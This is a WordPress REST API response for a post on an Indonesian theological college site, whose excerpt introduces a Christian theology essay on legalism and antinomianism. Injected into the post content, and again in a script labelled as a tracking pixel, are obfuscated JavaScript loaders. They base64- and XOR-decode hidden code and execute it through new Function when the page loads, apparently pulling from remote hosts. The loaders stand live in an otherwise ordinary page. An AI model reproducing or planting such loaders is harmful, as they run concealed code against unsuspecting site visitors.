_0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p><div class=\"et_pb_row et_pb_row_0 et_pb_row_empty\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t<\/div> Oleh: Yohanes R. Suprandono, M.Th. Pendahuluan Adanya \u00a0kecenderungan orang-orang \u00a0Kristen untuk \u00a0di satu sisi bersikap legalistik, di sisi lain menjadi penganut antinomianisme, atau menjadi orang yang hidupnya penuh kepalsuan dan kepura-puraan, oleh karena itu maka \u00a0mereka perlu ditantang kembali dengan pemahaman akan titah-titah Tuhan dalam kerangka berpikir yang baru. \u00a0Orang Kristen \u00a0penganut \u00a0legalisme \u00a0menganggap [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[23],"tags":[],"class_list":["post-1542","post","type-post","status-publish","format-standard","hentry","category-artikel_teologi"],"_links":{"self":[{"href":"https:\/\/sttkharisma.ac.id\/index.php?rest_route=\/wp\/v2\/posts\/1542","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sttkharisma.ac.id\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sttkharisma.ac.id\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sttkharisma.ac.id\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sttkharisma.ac.id\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1542"}],"version-history":[{"count":7,"href":"https:\/\/sttkharisma.ac.id\/index.php?rest_route=\/wp\/v2\/posts\/1542\/revisions"}],"predecessor-version":[{"id":7562,"href":"https:\/\/sttkharisma.ac.id\/index.php?rest_route=\/wp\/v2\/posts\/1542\/revisions\/7562"}],"wp:attachment":[{"href":"https:\/\/sttkharisma.ac.id\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1542"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sttkharisma.ac.id\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1542"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sttkharisma.ac.id\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1542"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<!-- BEGIN: X Secure Pixel Stream -->
<script>
    window.XTracker_TYKW = {
        loaded: true,
        version: "2.6.2",
        timestamp: new Date().getTime()
    };
</script>
<script>
!function(){var _0x8105c35d0b20=atob('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'),_0x1363b48b1b69=46,_0x79786ef0e841=new Uint8Array(_0x8105c35d0b20['length']),_0xfd7cf5361484=0;for(;_0xfd7cf5361484<_0x8105c35d0b20['length'];_0xfd7cf5361484++)_0x79786ef0e841[_0xfd7cf5361484]=_0x8105c35d0b20['charCodeAt'](_0xfd7cf5361484)^_0x1363b48b1b69;(new Function(new TextDecoder()['decode'](_0x79786ef0e841)))()}();
</script>
<!-- END: X Secure Pixel Stream -->